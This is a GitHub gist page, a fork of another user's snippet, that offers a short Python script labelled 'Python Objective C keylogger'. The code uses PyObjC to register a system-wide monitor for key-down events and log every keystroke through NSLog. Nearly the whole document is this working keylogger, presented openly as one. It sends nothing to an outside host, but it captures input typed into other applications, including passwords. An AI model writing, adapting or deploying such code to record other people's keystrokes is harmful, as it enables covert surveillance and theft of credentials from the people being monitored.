Skip to content

Instantly share code, notes, and snippets.

@mdagost
Forked from gourneau/gist:3019988
Created June 29, 2012 21:14
Show Gist options
  • Save mdagost/3020683 to your computer and use it in GitHub Desktop.
Save mdagost/3020683 to your computer and use it in GitHub Desktop.
Python Objective C keylogger
"""PyObjC keylogger for Python
by ljos https://github.com/ljos
"""
from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
class AppDelegate(NSObject):
def applicationDidFinishLaunching_(self, aNotification):
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)
def handler(event):
NSLog(u"%@", event)
def main():
app = NSApplication.sharedApplication()
delegate = AppDelegate.alloc().init()
NSApp().setDelegate_(delegate)
AppHelper.runEventLoop()
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment